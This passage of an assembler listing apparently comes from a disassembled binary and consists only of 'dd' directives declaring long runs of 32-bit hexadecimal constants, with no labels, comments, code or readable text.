		dd 6342B02Ch, 84816FC9h, 0D1FC9FD9h, 0D0243C87h, 13F23ECh
		dd 0D7B7EA0Bh, 406C18FDh, 63019528h, 18B0F9EAh,	0C032829Eh
		dd 0C8248A92h, 42A6C082h, 3D03968Fh, 91EDD937h,	217DB6h
		dd 4AACE07Bh, 6440DB14h, 77C7CF07h, 820B37DEh, 0B70E724h
		dd 98B58000h, 98B648DCh, 4B659688h, 24118C17h, 8348A480h
		dd 1C643035h, 0D6C0CA19h, 9097AFh, 0DBEB924Ah, 0A9D9E12Dh
		dd 0D3A82CF3h, 3190501Fh, 4355B700h, 7A771308h,	3DADD9C1h
		dd 0B8F47161h, 421F003Bh, 0C3185D44h, 8A1E695Eh, 80ADCDA4h
		dd 57590C28h, 3BD4A14Eh, 0EA080718h, 0C65DD103h, 811F214Ah
		dd 7004EA5Fh, 28C148F2h, 9C3424C0h, 9F2140B5h, 98578C28h
		dd 0D4FE470Bh, 911C4C18h, 60B47364h, 7ECCFCAAh,	1F9FFA53h
		dd 0A43E8932h, 0CECB08A0h, 4CB2D004h, 0B774CCACh, 5D5A06F0h
		dd 0C3D3FC70h, 0A8B461D2h, 0C888F511h, 0A0BE8D0Eh, 1DFB2A80h
		dd 5492E46h, 0B6E24EFh,	0E928D008h, 654FCDFCh, 0C810482Fh
		dd 960EC766h, 2FC9E750h, 16177DA9h, 9CDD809Ah, 1A6F30C0h
		dd 29732059h, 399046DFh, 0BA010205h, 0F4BCC75Dh, 3D9AF16Dh
		dd 446B9328h, 589B1701h, 0D0E5FA92h, 486E7C3Eh,	0E5EBAF90h
		dd 940BACB9h, 64CC4707h, 810A6046h, 0BC681F66h,	0F1A05857h
		dd 0C320CF4Ch, 0A6B8051Ah, 975F7F28h, 7E62C2B4h, 0D8F2F304h
		dd 741CFF24h, 54384546h, 0F88F83ADh, 0D0B0191h,	6F4DC853h
		dd 39DCDBD8h, 0CD045B43h, 0F09E1960h, 718CB224h, 2C051103h
		dd 82798808h, 90030D6Ah, 349E3CE0h, 7012E8ACh, 4C401842h
		dd 0CB463AA3h, 65C75A4Ch, 0B7FCF29Ch, 7686C2A8h, 177CCC8Ah
		dd 0B9F084B4h, 1203B8B4h, 0B4DB4977h, 0A004980Ch, 0B08171ACh
		dd 87040D8h, 2E3FCF2Ch
		dd 4CD4ED80h, 9EBA94F8h, 849101C4h, 4B14CAD8h, 0C07DC8A0h
		dd 0D64A8C94h, 0EB3B3003h, 757B270Ch, 663E0078h, 0BE255B02h
		dd 0A012A69Dh, 0C1347E8h, 0F428B0CDh, 78C22BCh,	94A6D099h
		dd 0F8E6C95Bh, 0D409C8B8h, 424EDAC3h, 0D1BCF908h, 0E71845h
		dd 5F8FF4E2h, 0AB3E4210h, 0EADA1D04h, 3CB05044h, 58744D17h
		dd 4078E840h, 5B000FF3h, 0C8593706h, 5261CEC3h,	23F27425h
		dd 0C76A530h, 17310AB5h, 0FB00B419h, 6434B620h,	0EADCD7EBh
		dd 2F634EE0h, 21236Ch, 0AFD2A3C4h, 2C4C1892h, 0BC4784A8h
		dd 8B0134A3h, 0E8D0A33Eh, 0B2EC6320h, 0E3AE307Eh, 9465CA16h
		dd 30608C82h, 423AEC8Ah, 0FB9643D3h, 41E06E00h,	520A477h
		dd 40DEC76Eh, 4838C1E4h, 84620928h, 93307CE2h, 7B3C00F0h
		dd 0EBD5378Dh, 4C90A8CEh, 0C3A5902h, 0C03213B2h, 3A75B929h
		dd 43026F0Eh, 3C618A04h, 3C91AC50h, 321882D1h, 77978700h
		dd 0CCCBE161h, 7045639Ch, 0FD985418h, 60013D1h,	0B99D0988h
		dd 4AB3BF1Bh, 9C689032h, 7400AED7h, 47F655BDh, 3441E87h
		dd 0FFE8B60Ch, 9BDCF295h, 913980ACh, 5CBB2C40h,	417C5C3Ah
		dd 20E6C42Eh, 334B5672h, 8C76046Bh, 69E64D00h, 53AEABA2h
		dd 7010E58Dh, 0BC1DA58Ch, 1185F483h, 3084FD66h,	0E71F9C40h
		dd 0C281B5A0h, 4D34B260h, 7866B848h, 0D0EE2C0Fh, 6E981973h
		dd 14795028h, 5C51A0A2h, 51FEF10h, 0DF289727h, 48315491h
		dd 0C3A4A180h, 0A55CD295h, 0D4B75D00h, 0E9A0F005h, 74C0E1Ah
		dd 0B4EC948Fh, 1197D339h, 0F6C096C4h, 1ECB06Fh,	30BE81D1h
		dd 80BC8C17h, 0A942D470h, 3033244Ah, 2BF1EE9Ch,	1A3074E3h
		dd 5ADA1164h, 0DED914E9h, 0C24BCC01h, 0EC41B16Ch, 6C82152Ah
		dd 58D8C41Eh, 4C3AE4D0h, 8A005040h, 93FFDD41h, 9539661Fh
		dd 0D93E6427h, 66C188EDh, 0F8684FC8h, 3C8C40BCh, 610369F5h
		dd 0A61BF3F0h, 0F09B8D8h, 73286513h, 0C80028B2h, 58272033h
		dd 7C0159E5h, 5618025Bh, 44E85406h, 0D2EB26C7h,	309685A4h
		dd 62B4406Ch, 0C44F348Ch, 0B0B2910Ah, 5200F4D9h, 0AB771889h
		dd 567AE9h, 2E165EEDh, 9B259F6Ch, 2C079800h, 0DBD5AF26h
		dd 58B560DAh, 305EF6B8h, 715A332Ch, 0CF34D601h,	0F031DEABh
		dd 0C05074F1h, 128A3209h, 0D0A8AC6Eh, 6CB1414Ch, 9FBB5013h
		dd 0A4F7A8A2h, 0EC7F3065h, 0B908BC94h, 367B017Dh, 91094E05h
		dd 54202A25h, 0E4420B8Fh, 0D38112B9h, 8068DBFEh, 3E32DE48h
		dd 0F4EA13C2h, 0AD9CF0ECh, 0A0B0500Bh, 0DA24A060h, 57516D3h
		dd 9DE9DB0Dh, 6008E164h, 804F8AF8h, 5235AC45h, 32D7C800h
		dd 2E5D3D05h, 8E0442E4h, 94DFD929h, 58F1205Ch, 0B6B6184Fh
		dd 41465C6Ch, 125461Dh,	9F308156h, 1DA83986h, 2D8066E9h
		dd 0C96F7ABAh, 0D59E09E8h, 4070BE38h, 5CD1B624h, 0CF3204Eh
		dd 0A426C249h, 1E898F8h, 6E10E830h, 2A8C0EE3h, 2800C85Dh
		dd 50A92575h, 62850037h, 0F7C7CF7Ah, 53B8C40Ch,	32B60109h
		dd 7988F11Ch, 2E184Ah, 7AE9F8FCh, 9C37990Ah, 0AC9C7EFAh
		dd 3A58B0DCh, 950087EEh, 9F09BEE2h, 9A12D9C3h, 34FC0h
		dd 5C433544h, 0F4252881h, 5445F009h, 0AE81F1EFh, 43DE1C13h
		dd 0C1E216A0h, 987E88E0h, 0FFF5FCA3h, 0A0991B83h, 1285EBE1h
		dd 0B43809DBh, 5A002D6Ch, 70CAAB11h, 7E75E996h,	0FAB65C34h
		dd 0F6EEBA09h, 51585CF3h, 0DB4B007Eh, 0DF851883h, 675C94B5h
		dd 102F4B48h, 0CE652110h, 0F3AD4356h, 474001B1h, 0CF3727E6h
		dd 3C60F940h, 29D9E9A8h, 0FA007A0Ch, 9E617F46h,	71C2A7Eh
		dd 0C72C5F3Ch, 48822907h, 0F8D1999Dh, 0DCDD6000h, 3BEAA04h
		dd 27D575AEh, 0D85C589Ah, 30EABD0Ch, 0A61C25D5h, 8592B043h
		dd 0EEAA0000h, 9E41B9Fh, 75ECD91Ch, 0C7F1DCD9h,	413BE518h
		dd 0DEE88014h, 4AD42833h, 9D2BEA2Ah, 7D11789Dh,	0A5C4409Ch
		dd 0CDAC5FFCh, 0B812AB4Fh, 4DFD9C30h, 33D31E61h, 0F83209B9h
		dd 24882017h, 0E7B16065h, 3E13A649h, 0C4A1E0B3h, 1606E2Bh
		dd 28D6DDB6h, 0E451C777h, 0E853D98Dh, 0B17AA805h, 0B918B84Eh
		dd 187F7930h, 2D2AE09Ah, 3868B36Eh, 0B50192E4h,	0D8F22D4Fh
		dd 0FC2480EAh, 0B681C1F5h, 8EBE92D0h, 630EFEF0h, 8297723Eh
		dd 470468E7h, 802397EEh, 5901B192h, 2808DB3Ch, 0DA20E623h
		dd 0B45F0136h, 3F3EE418h, 51BB2Ah, 147529D6h, 62BC4AC2h
		dd 2A1C4906h, 5040FC74h, 3413A0ADh, 0C2B82572h,	0E420B5B4h
		dd 24A3E627h, 149B6DDh,	91F15096h, 4747C37h, 1F98D0EEh
		dd 6458BC82h, 69EA7BE8h, 0B8F9E840h, 0F077AF00h, 0F4756FFh
		dd 25788D49h, 2069B434h, 31C0704Dh, 5216A1A0h, 3F224482h
		dd 44D10099h, 93005918h, 7CA2BE83h, 18372526h, 79B491A6h
		dd 96FAE6D7h, 3AB88700h, 13D4FC7Bh, 234F018Fh, 17320C3Ch
		dd 5178288Ch, 20FCCCB0h, 806837B5h, 0A427D32Bh,	2898F689h
		dd 0D94AAF0Dh, 2F2EB03Dh, 4D2374h, 95B5A4A5h, 2051FC2h
		dd 0D45EB62Eh, 1200987Eh, 2A0FC290h, 0CB04452Bh, 7A91DC18h
		dd 52612040h, 0BB242F3Bh, 404428Bh, 0C6C080A3h,	366E04Dh
		dd 6294F9FBh, 0B4EC3DBAh, 5F16B630h, 41099A26h,	0FD2C6072h
		dd 0B47A00D0h, 53DB95E8h, 0C1003627h, 0B09D38B8h, 3214FB2h
		dd 8AFB9BBh, 0BE9DA32h,	0A26C7335h, 601C304Dh, 0B524DA00h
		dd 4677525Fh, 785982E0h, 9C187979h, 0D79F60B9h,	9D12C9h
		dd 0E6FA18F7h, 0B4810053h, 2E8308DCh, 1A01BD87h, 0B2D0D9D5h
		dd 8841F588h, 2C6CA98Fh, 18C47BCh, 0D59C1EFBh, 76FF237Dh
		dd 1C09F064h, 0BA9E001Fh, 18FB94ADh, 1891819Fh,	6160B4D3h
		dd 763F8182h, 0ACA51FF8h, 0C01BEC49h, 75954320h, 0C231C034h
		dd 53F017B5h, 0C4DFE604h, 0ACC8E839h, 532B7532h, 83A2C8ECh
		dd 0E2BF30h, 550B316Dh,	70EA68F5h, 32003C92h, 0A9921826h
		dd 0B4EF17h, 80B5E488h,	1F13D68Bh, 0B86C8095h, 24EBD4BDh
		dd 5FC1AD2h, 0A3482C59h, 66C6A108h, 0F00240Ch, 75E2A353h
		dd 5C38B1A5h, 3C0028FAh, 0CDA6109h, 215BAE23h, 2123803Ah
		dd 2D87981Dh, 2E2897h, 0B0816D53h, 0B528B8D7h, 60D32009h
		dd 7344070h, 13DCD85Ah,	398371A7h, 0BC5C2865h, 0A8048C42h
		dd 0F08A325Fh, 4E8BA8C1h, 0B6159300h, 114017BDh, 35A38040h
		dd 319894D0h, 3EF06C58h, 0A29C73A8h, 0D9CD30C5h, 0E165350Ah
		dd 1801A74Ah, 0B8E56295h, 920E2AD4h, 0DAB44A80h, 4B73C174h
		dd 21D43C69h, 2CE0011Ch, 6DCC118Ah, 0AFA8C8B5h,	5FF02981h
		dd 94194914h, 0B3BD420Ah, 18F35638h, 0F8C89026h, 0E7850443h
		dd 0BCC0A094h, 0EA64278Ch, 79307920h, 1C0C1847h, 13A824FBh
		dd 5810B431h, 7570A901h, 6042B1FFh, 0F8760CCCh,	1D79F495h
		dd 818A5826h, 0F4EA949Bh, 5458FAE4h, 0DD4F8DEEh, 4B23802Fh
		dd 40FF1C00h, 0B093FE81h, 0C8AF4F11h, 0DB00D3DCh, 2DC24755h
		dd 29F8B3h, 8BD90C31h, 6A8507Dh, 92210F38h, 6E18BDB5h
		dd 7358459h, 48F228FAh,	0CFC76080h, 0D11D01E0h,	80674C9Ah
		dd 0B06E8480h, 14DB5872h, 38C7FF8h, 8618F448h, 56FB4525h
		dd 9AD0810Bh, 0B87060h,	0D23F1B2Ah, 767B68A0h, 0BE3B038h
		dd 0AB4A2F19h, 79ECD9C0h, 60931841h, 51C102A6h,	634894B5h
		dd 5CD62E3Dh, 7E4674h, 65510F66h, 3A17B65Fh, 1C9C094Fh
		dd 3229AC43h, 48F1B479h, 3A184171h, 2AD4E905h, 18D9C155h
		dd 8088B80Eh, 30AF94C0h, 0B496024Eh, 0D2F243DEh, 2B4B4061h
		dd 6398D001h, 0A0F76F06h
		dd 21402F6h, 6AD1C4A6h,	0E0525419h, 59829774h, 1844793Ch
		dd 0E6060E90h, 0AFC069F2h, 59E0D80Ch, 0F94B8C30h, 711186D7h
		dd 1AF73B82h, 0B16B0503h, 6FD885F2h, 0CA0C9E80h, 31478C08h
		dd 9AEB18D3h, 0ECA5C186h, 0A89A09E2h, 0D602EAF0h, 7F30F106h
		dd 5FFC406Fh, 3FF812CAh, 50C00CF5h, 3094A529h, 42465Eh
		dd 0F7A55AE8h, 59E45B56h, 0D93A5C22h, 0BBE4D15Fh, 0E254233Eh
		dd 51893044h, 0D57BCA24h, 3005F912h, 0A84054D2h, 0FC368BD8h
		dd 47CE0382h, 641713D5h, 2F2C8009h, 5A6CF03Fh, 0C010DAB4h
		dd 1743D234h, 0D7810314h, 3E842470h, 7B4F78C9h,	8023183Bh
		dd 98DBBF00h, 20FCF62h,	7FD61437h, 10FAEE47h, 9C5E925Fh
		dd 49334340h, 889552h, 9647F35Fh, 0AB748040h, 0D973ED16h
		dd 1081E834h, 0F0873F78h, 6201E6CAh, 50FB71F0h,	30CDF970h
		dd 32180D93h, 245A2817h, 0F8A6AC80h, 6081974Eh,	799AD9BAh
		dd 0A79E01FCh, 77301EB8h, 7661C4E8h, 5D730550h,	0A9F83EDAh
		dd 433AC34h, 0F0172C9Fh, 7E531FBDh, 7923503Ah, 0DD92AF04h
		dd 8A4B14E3h, 286CC4ECh, 31827F31h, 0DFB03C94h,	13D33A01h
		dd 10BAAF0Bh, 170C4612h, 634C8B2h, 3B598800h, 3D076849h
		dd 0BC6D5FBBh, 0C41C0C44h, 12A6200Bh, 0F537FEA9h, 78ED3070h
		dd 120032E4h, 0AF2EBD53h, 76A18667h, 1BEF0EF1h,	0A64B239Eh
		dd 2044F28Bh, 0D4D0924Eh, 59F1BD2h, 0D152714h, 0C82CC877h
		dd 0CD53A405h, 8413DC32h, 81C87C8Bh, 0B69333C0h, 1E3007CBh
		dd 770C2058h, 289B405Fh, 261C4435h, 40C059AFh, 0ACB08A87h
		dd 37502DA5h, 0DDDF1420h, 0C8003DABh, 12EEB930h, 2E181DA7h
		dd 17A0F5Ah, 28D535F6h,	631C34F8h, 0EC9D048Ch, 0CED2D347h
		dd 8610004Ch, 43D56FECh, 6CE84CA6h, 0CB28B204h,	4F5CEC5Eh
		dd 54A3AC13h, 0EE3122B2h, 27E336F4h, 50E41AFCh,	2420D500h
		dd 2E455741h, 255B0146h, 0A2691DECh, 305DC09Ah,	6FB06795h
		dd 28D89F1h, 728CF5FBh,	6C2D005Ch, 24F8D6C5h, 36005469h
		dd 0FC52F41Eh, 0B63F692h, 0C9AA994Ch, 20D3C442h, 15C0FD5Ah
		dd 18031558h, 0F3BFAF59h, 0A9A0B8DCh, 88245E8Fh, 0E20F4880h
		dd 60CCD92Fh, 660EE7C8h, 16AB20D0h, 0F078ECB3h,	5D2F1C95h
		dd 59D4C12Dh, 10976E9Fh, 0BF578C29h, 89322884h,	90D120ECh
		dd 0B4442029h, 57184DF1h, 42D9B704h, 6CC0FE70h,	0E96C18E4h
		dd 0F02FC896h, 0ED906EA8h, 0A0AFFCB0h, 5B5ECA40h, 532F00A7h
		dd 0FEB7048h, 0A0269F1Ah, 0CB0AA032h, 46769C5Dh, 83F50246h
		dd 81D4FB71h, 58D98A83h, 46E2C073h, 876C30h, 8B946AD7h
		dd 4932FEC7h, 0E0028E6h, 0B235601Ah, 5AAD6E83h,	0B6EC030Ah
		dd 0A0C03D17h, 265B4B50h, 81793048h, 773CD50Fh,	5BC46CE3h
		dd 0E754B020h, 0A6720062h, 0D0EEA07Bh, 615BC543h, 772B3420h
		dd 0BCDC5347h, 14307EE2h, 116F0C15h, 3019B277h,	76E31A00h
		dd 0F990739Dh, 0B825EA37h, 604F5198h, 7424A1ACh, 19218FFh
		dd 31253ADBh, 6D1AB017h, 0F7DC1014h, 512D9C48h,	0DAF2F41Bh
		dd 0AA803876h, 7A79C5F7h, 71B048AFh, 42293067h,	0AC85DDEAh
		dd 0CBA456E2h, 0C07CC890h, 884DE7F0h, 494C9204h, 0E0B87FE6h
		dd 7CE8B5C0h, 121DF005h, 598480A6h, 248BB635h, 57C14EC8h
		dd 0F06237BCh, 2E475500h, 61564642h, 39B4C3Bh, 8B012CD0h
		dd 0E4D8E831h, 0B3D4A1DEh, 0CA637310h, 0F0CE6600h, 0A202BA34h
		dd 47862DB8h, 5DB6D402h, 0AFB0905Dh, 5B0F88A8h,	3C7C2D58h
		dd 9CB64A69h, 0A696A1E0h, 82641601h, 2E387734h,	80183701h
		dd 783B9829h, 32B8BBDh,	0A8F511AAh, 45BAFE47h, 3C947841h
		dd 8C41E86Ch, 7879F900h, 237AFC45h, 34B7B7FFh, 7AB06500h
		dd 13E97F06h, 8C426EF4h, 0D700E178h, 1581B5E7h,	27AC1CE2h
		dd 109278B7h, 34375Dh, 0AAF0540Bh, 2416E647h, 68CB1D31h
		dd 312873C4h, 0B4483079h, 524C0E5Dh, 4B40B7A6h,	1CBEC66Fh
		dd 322E3704h, 16BAD45Fh, 720A288h, 4DBEF471h, 1761F9C0h
		dd 0C47A0021h, 0AFE5E8F6h, 9C919025h, 0A11882D1h, 1299E601h
		dd 74B59A79h, 7A60043Bh, 0BC00E8E1h, 1A008C80h,	3908A810h
		dd 2EA4744Dh, 62E9457h,	50A78649h, 0B2EB044h, 9DC1703Ah
		dd 4AC50401h, 0C4403A33h, 349FB447h, 0FD7D19h, 9860E170h
		dd 84396890h, 2C20D75Bh, 9F51E51Ch, 112F4411h, 2C2C4664h
		dd 0E044E6D7h, 0ECFF7C79h, 4FA50ABBh, 909F24h, 0CEFDA84h
		dd 0FA00EBD3h, 393C2349h, 5BE4FB65h, 0A11C8582h, 0AC143900h
		dd 6C1D00E8h, 0B51B5AA2h, 0DA4830EBh, 174C0498h, 0C80BFC4h
		dd 35B61E6Bh, 3AF1835Bh, 29451048h, 725389C0h, 0E5264A61h
		dd 7F4BCE1h, 0BF3B5E49h, 0B755F49Ch, 2A20B04Ch,	5F6BF297h
		dd 1F08191h, 0B81C78F8h, 0EC1F8C22h, 8DD19DEh, 2600D4ACh
		dd 0DADD8DEFh, 494B479h, 0B0649897h, 75FF338h, 718080DBh
		dd 0F3D34953h, 0B2FC4D54h, 29DBFE0h, 97BA0288h,	29408884h
		dd 6C2F8560h, 0EBDB02CBh, 752C98CCh, 2D195481h,	64852A13h
		dd 0E6BDE8ECh, 151AD30h, 1BFA1894h, 6856FB90h, 0B26881D8h
		dd 6A0D4988h, 60045C6Eh, 89C8B65Fh, 0C03037E8h,	0BC649DB7h
		dd 84D5304Ah, 0C2F8D229h, 3EF87A6Eh, 94A0D656h,	2273125Fh
		dd 0DC00B018h, 0B259F88h, 1ECD28E4h, 449DFC32h,	80C04515h
		dd 3290C238h, 2DF83217h, 0D4768A48h, 66C5215Eh,	966DEC80h
		dd 2BE1460h, 0B4E75490h, 0E4DCB3EAh, 84E700D6h,	584EDF03h
		dd 89C02030h, 3DFFE526h, 0FC250024h, 0D11F77BDh, 45015C12h
		dd 44BC3A31h, 0F8289397h, 30417A9Ch, 62848034h,	0A598B9C9h
		dd 1DDCD056h, 26DA5D85h, 646D2F90h, 0B0151BC3h,	2F7A255Dh
		dd 50000842h, 0B3162D32h, 1E482097h, 0B1FDB0CBh, 1882D150h
		dd 3BF7652h, 283BA536h,	54A8945Eh, 7C5A45ECh, 0E7C9401Eh
		dd 593C055Dh, 0E49204B3h, 0BC51D70Ch, 0D2A6F110h, 45A5ACD3h
		dd 60806458h, 407C4Bh, 96DF3B60h, 2804A191h, 90A33E17h
		dd 5BB670A0h, 0D01C41D4h, 895264EAh, 5E9C3518h,	692F4038h
		dd 0A5009382h, 7131B857h, 0E41C3E4Bh, 0C28A06F9h, 385470EAh
		dd 0C3229C98h, 784D95D4h, 0A2A807C0h, 0EA621255h, 45FCB018h
		dd 81FE491Fh, 0B951B600h, 15C1BB3Dh, 3C4450EAh,	8DF09823h
		dd 9B2F289Ah, 0D1686090h, 18FF565Ch, 4ABB293Eh,	4EC8708Eh
		dd 451790C0h, 0F3D70082h, 78D9AD4h, 28B23321h, 0CC30424Ah
		dd 0F0F3474Eh, 14979D38h, 6066C688h, 0BC593103h, 9D54C100h
		dd 2C67CB75h, 0E1334ABFh, 0C0D8011Ch, 42570C4Dh, 42B4AAFh
		dd 9B098C7Ah, 209328A6h, 0D2E45B74h, 3129817Dh,	73C661ACh
		dd 3045B298h, 910C264Bh, 193C59B6h, 0C73E30B5h,	533095EEh
		dd 320C60B4h, 1F572159h, 0FD4997FFh, 7F7CA980h,	6F922CE5h
		dd 9D7146E4h, 5EACF00Bh, 0D3BD00ABh, 92A9C2CBh,	1F9E00BCh
		dd 8AF2BED8h, 37BD1DC0h, 0AA180990h, 5025F4DCh,	6CF40EBCh
		dd 158093E0h, 80A2D08Ah, 0E400B492h, 0BE19439Ch, 5518687Fh
		dd 6E7F949Eh, 941B0098h, 5852F0DBh, 2EEE2C4Ah, 0C8804F94h
		dd 218626C3h, 0E0BCCD97h, 0F3268C40h, 7B81EC17h, 0DC475022h
		dd 0D10A0148h, 7233492Dh, 63800000h, 12CCB945h,	0ECD70DAEh
		dd 7B3879DDh, 760F886Eh, 90410975h, 208318DCh, 189EACA4h
		dd 84BD1312h, 5F73AFACh, 7C2042F8h, 35C0A0F9h, 8FB70966h
		dd 0F47E2958h, 0F3E3CDE0h, 46AD005Bh, 3AB397D6h, 0D50E56F1h
		dd 22ECAF79h, 41FE0708h
		dd 8BF629ECh, 9EB066FCh, 0E01D45Ch, 0D2F87753h,	2C649AEBh
		dd 0BC619718h, 96A1825Ch, 48AD3430h, 80287184h,	5800408Eh
		dd 0F79D89C8h, 9221A2h,	2CA093F6h, 3559E79Bh, 27CF5412h
		dd 9D09B0ECh, 0D8F1A841h, 0E2569A0Eh, 0FC8F3EA4h, 7A5CDC70h
		dd 0D16C100Ch, 6B93D842h, 94E90068h, 9FE553ACh,	0D67902D0h
		dd 0C6E4F496h, 7F3B00FEh, 37D1A600h, 0C30CF569h, 0C09054h
		dd 2E9364AAh, 6F0A7947h, 59A99A30h, 591A0Fh, 989146BAh
		dd 0A79F212Dh, 4C91DB51h, 0C8CB82CCh, 2C3CD154h, 78467418h
		dd 114CC16h, 0CF187C64h, 505DE057h, 98B795h, 0C2D61FDDh
		dd 0AC98FCE3h, 1202EFF4h, 0D872AE4h, 2910F675h,	1882D18Ch
		dd 7DBF7340h, 8669023Dh, 0E098CC79h, 0E4A5A050h, 215C2424h
		dd 5A8066C8h, 0F44B0E46h, 7F60295h, 0FD8C3E43h,	0C7180577h
		dd 20FD8C65h, 0C7096EA8h, 6834E4C1h, 0DBA218h, 0CE664E69h
		dd 0F0602AFBh, 29378F00h, 0FE4AF7BAh, 0DCED2426h, 3895CBD4h
		dd 60287388h, 5C94B534h, 88989229h, 0D1178026h,	4E6E9CB4h
		dd 1220B39Bh, 0E4441551h, 3BBF65F9h, 0B8C7AA0h,	0D7A61C55h
		dd 51432C94h, 0C80C8B4Bh, 0A472C07Eh, 2B2F71BDh, 0E464E58Bh
		dd 0D36A604Eh, 0BE64AC3h, 0D81A966Ch, 0F84EB040h, 7CB39529h
		dd 8666C670h, 0E9B20D00h, 0E64A1CFFh, 6437018Eh, 0D91ADCE4h
		dd 0B2202304h, 6819304Ah, 80DED238h, 0EB50C92Fh, 58B722D4h
		dd 0B081E421h, 5A8A4656h, 440BC030h, 30DDB49Ch,	71C6758Ah
		dd 53480842h, 5B471280h, 7FB52001h, 0E450BF05h,	0FB3165F8h
		dd 5A324980h, 0D6BDDCC1h, 768CE900h, 0D0EE6C95h, 0D9AC20B2h
		dd 0C230304Ch, 0F8639488h, 218463E0h, 7CC2B275h, 9727E0FEh
		dd 65218868h, 5C393760h, 98400E2Ah, 0ECD468A0h,	8D151800h
		dd 0A33F08BCh, 0C74DB82Dh, 647F6454h, 2679F4ACh, 0E90C1881h
		dd 4464C465h, 0F9A4D760h, 0AB25FB0Eh, 36A180BDh, 751ED50Ah
		dd 4D0F06B5h, 80ACF0B8h, 91CC1D97h, 2A6C8043h, 0B2649DCh
		dd 0EE726E66h, 0C829F085h, 289667C4h, 0DAD6CC90h, 0A3778080h
		dd 98250AEh, 28194CA1h,	0D3161852h, 0C4B1BF13h,	9B4E0C66h
		dd 8D809C88h, 3106696Ah, 0C423FDAh, 50FDE8D1h, 23603E3Bh
		dd 0C45F0044h, 0C55D07B9h, 98B4D405h, 30977638h, 16F8B751h
		dd 0DBCC033Ah, 2B827719h, 0CFB59882h, 0CDF20CDAh, 0E3EC9825h
		dd 7FF825F0h, 879240E0h, 65B7E4A8h, 0C8566826h,	18740448h
		dd 10AD5930h, 0DF00C283h, 52AE936Dh, 0EE7F33h, 618657E5h
		dd 0ED7E3254h, 0B0C49A00h, 47B515B3h, 805D0E0Bh, 0BEE3333Fh
		dd 9AF03AA6h, 625083EFh, 3004CC4h, 9CCFCCC1h, 0A95BEh
		dd 34D7CE76h, 4CA3BC2Ch, 800FA739h, 3A4A8068h, 0B08C7043h
		dd 8F920065h, 0B886E295h, 8B03E441h, 0F2FFB2F6h, 0D1BE8363h
		dd 0D8D366E6h, 13223E3h, 0E80DB07Ch, 60FDF90Ah,	0A400E778h
		dd 0B20E0129h, 0D0600Ch, 1147CC59h, 0D15B3D0Bh,	0C0ED3000h
		dd 980F9F77h, 0B39B009Eh, 0F1BD4F80h, 6E0039FEh, 81623A02h
		dd 3EC9530h, 0BDDABD1h,	11002769h, 0E67787A2h, 748E3650h
		dd 0B14005F1h, 0EEBA996h, 0FF8028F3h, 0BAEC6B37h, 0EA9DD203h
		dd 0B0467804h, 0FA413ECEh, 0E8BDDAh, 0C301A1FAh, 0BCFCF989h
		dd 0A2D56714h, 28CF7170h, 98AE8Eh, 0DD4BB30Ch, 0FB2B1A4h
		dd 1917D38h, 0ECBDE69Bh, 29802EFDh, 0B9EE3BEh, 0ACF6DEA8h
		dd 80C60A38h, 0D791C32Fh, 0F60C1h, 27FC8DCDh, 4C439F6Fh
		dd 56142A72h, 2CB4BDCEh, 0E700883Bh, 0C7035D22h, 7CBEEE8Fh
		dd 0CAC50C89h, 0D9D6DDE4h, 5520D400h, 4493ABFEh, 17D2017Ch
		dd 0B077C218h, 56BCC803h, 0DFB43A00h, 0C9AD41A4h, 753F0C1Ch
		dd 97291ACFh, 518A3E0h,	0C510194Ah, 8A06009Ah, 73C4125Ah
		dd 7E0AD6B0h, 0F6A9BB2Ah, 42EEC903h, 0EAE79856h, 4F7D0729h
		dd 3093284Ch, 70B89A09h, 24EB542Ch, 31482F40h, 0D67D001Dh
		dd 3453140Bh, 5500AD70h, 0DC1AAB28h, 0F3EC31DAh, 1D71F880h
		dd 1C142C64h, 0A888D561h, 0E4F89D73h, 0BA0C030h, 0B4F3052Eh
		dd 8414EB0Bh, 966B00A2h, 15CFA73h, 0E968DEEDh, 24649C94h
		dd 0D500D8B4h, 77DF34A2h, 74881937h, 0AF9400F9h, 798ADBD9h
		dd 2C7530DCh, 2EF7E817h, 0E5004CACh, 652548A2h,	4E008682h
		dd 3EEC5827h, 2C2A59Bh,	0AC4104B0h, 204023C6h, 0DD009A8Dh
		dd 164B6B6Ch, 0E7E9BDh,	0BE1C5196h, 0A2E0024Eh,	58D4C00h
		dd 1D5563C5h, 9DCE011Ah, 0F7EBBEFCh, 4E97E828h,	71BB4D09h
		dd 42700E7Ch, 0C06B7E85h, 3E477D2h, 0CE10F1F7h,	90D7EE8Ch
		dd 0FD3C40ACh, 198E21C0h, 0CF27D7h, 9DBEFB0h, 9616ABCEh
		dd 0D4A0945Fh, 80590017h, 75C74637h, 2926E971h,	0A10F277Ch
		dd 87A6C0CFh, 5E7F5E85h, 0B160A062h, 0B57C61Fh,	1560D440h
		dd 74ACFE09h, 0C3E700E1h, 5C498D0Ah, 230072E0h,	90C60C59h
		dd 0E8274A42h, 0CB250037h, 0FC928F7Bh, 740384A9h, 7EE00A72h
		dd 5B86A08Ch, 9FF30044h, 0BD063A48h, 2E00C7C1h,	0BCCA072h
		dd 556490h, 18244BD0h, 6A817A3Ch, 70B94C04h, 3095FC1Fh
		dd 319C49EBh, 35D0BC00h, 872E9471h, 7A0F2C68h, 9000339Ch
		dd 0B274B1BDh, 16A81CC2h, 0A170C0A2h, 8CCCEDD0h, 0E3561E00h
		dd 729E4345h, 49080016h, 7D889691h, 317DF621h, 6EFB3007h
		dd 5880F390h, 37505D9h,	0C059C7B6h, 0E8982B33h,	121452EFh
		dd 0E02978h, 568ABEFBh,	0C5B877h, 0B6CA6A23h, 0AA7244A6h
		dd 6D41AD1Fh, 0D678E940h, 1EB92666h, 2DB279Bh, 4E9CF243h
		dd 0ADBF8C80h, 940C21DEh, 0D0485966h, 0A0CE00A5h, 5A8EF418h
		dd 0CA1361E4h, 0A81DAE8Fh, 83BFDE8Fh, 0AD128AFCh, 0CAC99440h
		dd 0E46A6h, 8F483462h, 1003D858h, 0AAA37E00h, 0ECF7071Eh
		dd 0C3A530D6h, 9AE9D428h, 0F2CD900h, 7FA0D203h,	6E12039Bh
		dd 44A4ABFCh, 13D4AFF0h, 0DCA50400h, 0A6F46FDBh, 16A200C9h
		dd 7E20989Ah, 8D001B55h, 0CAB81C54h, 0F576D4Fh,	8EDB9267h
		dd 0D4FBB038h, 78480600h, 89167C1Eh, 0D1C70164h, 185EFDEBh
		dd 0B50C300Ch, 50727E0Fh, 0DDED00C9h, 0E9CFE0C3h, 0B27DE06Eh
		dd 0E194F907h, 0C1F3C7A7h, 643EBAEAh, 8A0A0000h, 4F12595h
		dd 1498E9E5h, 3273D307h, 1310F4B7h, 3A9F57h, 0E04D79D9h
